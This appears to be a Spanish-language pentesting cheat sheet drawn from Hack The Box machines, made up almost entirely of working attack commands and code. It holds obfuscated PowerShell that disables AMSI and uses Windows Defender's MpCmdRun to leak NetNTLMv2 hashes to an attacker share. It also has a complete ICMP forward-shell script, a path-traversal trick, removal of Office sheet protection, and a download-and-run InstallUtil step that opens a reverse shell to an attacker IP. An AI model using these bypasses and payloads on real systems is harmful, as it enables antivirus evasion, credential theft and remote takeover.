Bypassing
AMSI
Automatización de WinRM
*Evil-WinRM* PS C:\Users\melanie\Desktop> Bypass-4MSI
Info: Patching 4MSI, please be patient...
[+] Success!
Corromper tarea (Condición de carrera)
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)
PS C:\Users\Sierra.Frye\Documents>
$a='si';$b='Am';$Ref=[Ref].Assembly.GetType(('System.Management.Automation.{0}{1}Utils'-f $b,$a)); $z=$Ref.GetField(('am{0}InitFailed'-f$a),'NonPublic,Static');$z.SetValue($null,$true)
Obtención de hash NetNTLMv2 con Windows Defender
*Evil-WinRM* PS C:\Program Files\Windows Defender> ./MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.6\test
CLM
Detección
[10.10.10.210]: PS> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PSSessions
PS /home/rubbx/Desktop/HTB/Machines/Reel2> Enter-PSSession -ComputerName 10.10.10.210 -Credential $Cred -Authentication Negotiate
Ejecución de comandos con funciones
[10.10.10.210]: PS> function bypassCLM { whoami }
[10.10.10.210]: PS>bypassCLM
htb\k.svensson
ICMP Forward Shell
#!/usr/bin/env python3import base64import requestsimport threadingfrom cmd import Cmdfrom scapy.all import *from urllib.parse import quoteclass Term(Cmd): prompt = "[~] - " cmd_payload = """$cmd = '{cmd}'; $step=1000; $ping = New-Object System.Net.NetworkInformation.Ping; $opts = New-Object System.Net.NetworkInformation.PingOptions; $opts.DontFragment = $true; $res=(iex -command $cmd|out-string); $data = [System.Text.Encoding]::ASCII.GetBytes($res); $i=0; while($i -lt $data.length)""" def __init__(self): super().__init__() thread = threading.Thread(target=self.listen_thread, args=()) thread.daemon = True thread.start() def listen_thread(self): sniff(filter="icmp and src 10.10.10.57", iface="tun0", prn=self.handle_icmp) def handle_icmp(self, pkt): print(pkt[Raw].load.decode(), end="") sys.stdout.flush() def default(self, args): cmd = self.cmd_payload.format(cmd=args) enccmd = quote(quote(base64.b64encode(cmd.encode('utf-16le')).decode())) requests.get(f'http://10.10.10.57:62696/test.asp?u=http://127.0.0.1:80/cmd.aspx?xcmd=powershell+-enc+{enccmd}')term = Term()try: term.cmdloop()except KeyboardInterrupt: print()
Python
Es posible eliminar la ruta que se obtiene de la ruta actual con getcwd()
pasándole como argumento un path pero con una barra al principio
python3
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.path.join(os.getcwd(), "public", "uploads", "test")
'/home/rubbx/Desktop/HTB/Machines/OpenSource/source/app/app/public/uploads/test'
En este ejemplo con la cadena /test
>>> os.path.join(os.getcwd(), "public", "uploads", "/test")
'/test'
Cifrado documentos Office
Al descomprimir el documento, se puede eliminar el hash que contiene a la contraseña
unzip Desktop_Phishing_Attempt.xlsx
<sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg=="
zip -r Desktop_Phishing_Attempt.xlsx *
CLM Evasion
$ExecutionContext.SessionState.LanguageMode
iwr -uri http://10.10.14.13/PsBypassCLM.exe -o C:\Temp\PsBypassCLM.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.14.13 /rport=443 /U C:\Temp\PsBypassCLM.exe
Last updated